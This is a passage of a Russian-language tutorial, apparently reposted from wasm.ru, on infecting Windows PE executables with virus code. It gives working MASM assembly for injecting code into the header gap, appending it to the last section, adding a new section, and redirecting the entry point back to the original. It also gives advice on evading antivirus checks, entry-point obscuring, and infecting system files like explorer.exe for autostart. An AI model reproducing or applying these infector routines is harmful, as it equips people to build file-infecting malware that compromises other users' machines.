add edi,eax;теперь в edi - начало промежутка
push edi;сохраняем начало промежутка
;############################END Поиск конца таблицы секций+1#####################

Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:

;########################Поиск физического смещения первой секции#################
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
xor ecx,ecx
mov cx,[edi].NumberOfSections
dec cx
mov edi,pSectionTable
assume edi:ptr IMAGE_SECTION_HEADER
xor eax,eax
mov eax,[edi].PointerToRawData;в eax - физическое смещение 1 секции в таблице секций
add edi,sizeof IMAGE_SECTION_HEADER
NextSection:
.IF eax>[edi].PointerToRawData
	mov eax,[edi].PointerToRawData
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER
loop NextSection
;#####################END Поиск физического смещения первой секции################

После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:

;######################################Запись#####################################
	mov ecx,eax;количество байт для записи
	mov edi,AddressOfCode
	mov esi,hMap2
	rep movsb;запись!
;######################################Запись#####################################

После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:

mov EDI,<Старая_точка_входа+ImageBase>;BFXXXXXXXX

jmp edi;FFE7

Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями.

В этом(ссылка на файл pe_infector1.asm) файле находиться код инфектора. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.

Способ 2. Запись в конец последней секции

Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:

1.                  Находим последнюю секцию виртуально и физически.

2.                  Проверка, не равен ли размер последней секции нулю.

3.                  Если нет, то записываем в конец секции код вируса.

4.                  Выравниваем новую секцию с учетом файлового выравнивания.

5.                  Правим виртуальный и физический размеры секций.

6.                  Правим точку входа.

7.                  Правимразмеробраза – ImageSize=VirtualSize+VirtualAddress

8.                  Правим — характеристики – на 0А0000020h

Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.

Итоговый размер файла

Первая проблема, которая возникла – это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:

Y=X+AlignUp(размер_кода+7,FileAlignment),где X – исходный размер файла, Y – новый размер файла, FileAlignment – файловое выравнивание для файла-жертвы. Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:

;####################################################
;Процедура GetFileAlignment
;Получение выровненного-вверх значения
;Вход:  esi - указатель на строку с именем файла
;Выход: eax - значение FileAlignment
;!!!!!!!Процедура не сохраняет регистры!!!!!!!!!!!!!!
;####################################################
GetFileAlignment proc
LOCAL hFile1:DWORD
LOCAL hMapping1:DWORD
;#########################Create File Mapping instructions########################
invoke CreateFile,esi,GENERIC_WRITE or  GENERIC_READ,FILE_SHARE_WRITE,NULL,
       OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile1,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov hMapping1,eax
invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
;#########################END Create File Mapping instructions####################
;##################Проверка правильности PE-файла и ошибок при проекции###########
	.IF eax==0;ошибки при проецировании
		invoke CloseHandle,hFile1
		invoke CloseHandle,hMapping1
		mov eax,0
		ret
	.ENDIF
	mov esi,eax
	call ValidPE
	.IF eax==0;EXE-файл не корректный
		push esi
		call UnmapViewOfFile
		invoke CloseHandle,hFile1
		invoke CloseHandle,hMapping1
		mov eax,0
		ret
	.ENDIF
;##############END Проверка правильности PE-файла и ошибок при проекции###########
;#####################Получение адреса PE-заголовка###############################
assume edi:ptr IMAGE_DOS_HEADER
mov edi,esi
add edi,[edi].e_lfanew
;#####################END Получение адреса PE-заголовка###########################
;#####################Получение адреса файлового заголовка########################
add edi,4
;#####################END Получение адреса файлового заголовка####################
;#####################Получение адреса опционального заголовка####################
add edi,sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER
invoke CloseHandle,hFile1
invoke CloseHandle,hMapping1
mov eax,[edi].FileAlignment
;#####################END Получение адреса опционального заголовка################	
ret
GetFileAlignment endp
;####################################################
;Конец Процедуры GetFileAlignment
;####################################################

Код инфектора

В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:

;###################Находим последнюю секцию виртуально и физически###############
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
xor ecx,ecx
mov cx,word ptr [edi].NumberOfSections
mov edi,pSectionTable
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].PointerToRawData
mov ebx,[edi].VirtualAddress
add edi,sizeof IMAGE_SECTION_HEADER
dec ecx
NextSection:
.IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress)
	mov eax,[edi].PointerToRawData
	mov ebx,[edi].VirtualAddress
	mov pLastSection,edi;указатель на запись о последней секции
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER
loop NextSection
;###############END Находим последнюю секцию виртуально и физически###############

Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:

;#########################Не нулевая ли последняя секция?#########################
mov edi,pLastSection
.IF [edi].SizeOfRawData==0;последняя секция нулевая
	jmp Exit
.ENDIF
;#####################END Не нулевая ли последняя секция?#########################

После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.

При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:

;############################Правка AddressOfEntryPoint###########################
mov edi,pLastSection
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].VirtualAddress
add eax,[edi].SizeOfRawData

mov edi,pOptionalHeader
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].AddressOfEntryPoint
mov dword ptr [edi],eax
;########################END Правка AddressOfEntryPoint###########################

Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:

mov edi,pLastSection
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].Misc.VirtualSize
add eax,[edi].VirtualAddress
mov edi,pOptionalHeader
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].SizeOfImage;Правка ImageSize
mov dword ptr [edi],eax

В файле pe_infector2.asm находиться код инфектора. В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.

Способ 3. Добавление новой секции

Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:

1)      Если есть Bound-импорты, то удалить их.

2)      Найти конец таблицы секций.

3)      Добавить запись о своей секции в таблицу секций.

4)      Обновить соответствующие поля.

5)      Записать код по нужному файловому смещению.

6)      Правим точку входа.

7)      Правим размер образа – ImageSize=VirtualSize+VirtualAddress

8)      Правим NumberOfSections

Код инфектора

Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт – это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл – это проверка названия последней секции. VirtualSize – это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:

;########################Получаем информацию для новой секции#####################
mov edi,pLastSection
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].VirtualAddress
add eax,[edi].SizeOfRawData
push eax

push hFile
call CloseHandle

mov esi,ofn.lpstrFile
call GetSectionAlignment

pop esi
mov edi,eax
call GetAlignUp;eax - Виртуальный адрес новой секции
push eax
;####################END Получаем информацию для новой секции#####################

SizeOfRawData – берем значение виртуального размера и выравниванием на FileAlignment.  Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Воткакяделаюэто:

;############################Правка Number Of Section##############################
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
lea edi,[edi].NumberOfSections
inc word ptr [edi]
;############################END Правка Number Of Section##########################

В файле pe_infector3.asm находиться код инфектора. Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.

Способ 4. Удаление базовых поправок

В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:

  • 1) В таблице директорий удалить запись о базовых поправках.
  • 2) Записать код на это место.
  • 3) Изменить AddressOfEntryPoint

Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.

Полезная нагрузка(payload)

Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин – код в шел-код стиле.

Продвинутые приемы при заражении PE-файлов

Один из продвинутых приемов при заражении файлов является модификация кода программы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO:Entry-PointObscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места – сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer.exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.

Источники для дальнейших исследований

  1. Основные методы заражения PE EXE [Sars/HI-TECH] www.wasm.ru
  2. Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] www.wasm.ru
  3. Windows NT and Viruses [Alan Solomon] //vx.netlux.org
  4. MSIL-PE-EXE infection strategies [Benny/29A] //vx.netlux.org
  5. ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] //cracklab.ru/
  6. EPO: Entry-Point Obscuring [GriYo/29A] //vx.netlux.org
  7. An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] //www.microsoft.com
  8. Путь воина — внедрение в pe/coff файлы[Крис Касперски] //www.insidepro.com/
  9. PE Infection school[JHB] //vx.netlux.org
  10. The PE file format [LUEVELSMEYER] //www.cs.bilkent.edu.tr/~hozgur/PE.TXT
  11. Microsoft Portable Executable and Common Object File Format Specification[Microsoft] //www.microsoft.com
  12. PORTABLE EXECUTABLE FORMAT [Micheal J. O’Leary]
  13. The Evolution of 32-Bit Windows Viruses[Peter Szor, Eugene Kaspersky] //vx.netlux.org
  14. Optimizing DLL Load Time Performance [Matt Pietrek] //www.microsoft.com
  15. What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] //www.microsoft.com
  16. Injected Evil (executable files infection)[Z0mbie/29a]
  17. Загрузчик PE-файлов[Максим М. Гумеров] //www.rsdn.ru
  18. Programming Applications for Microsoft Windows[Jeffrey Richter]
  19. Исследование переносимого формата исполнимых файлов «сверху вниз»[Randy Kath] //education.kulichki.net/comp/hack/27.htm.
  20. Infectable Objects 1/2/3/4[Robert Vibert] //www.secutityfocus.com
  21. Ideas and theoryes on PE infection[b0z0/iKx] //vx.netlux.org

Резюме

В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи — рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.

Файлы к статье.

[C] Bill / TPOC

 

Источник wasm.ru /27.06.2005/

Поделиться в соц сетях

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+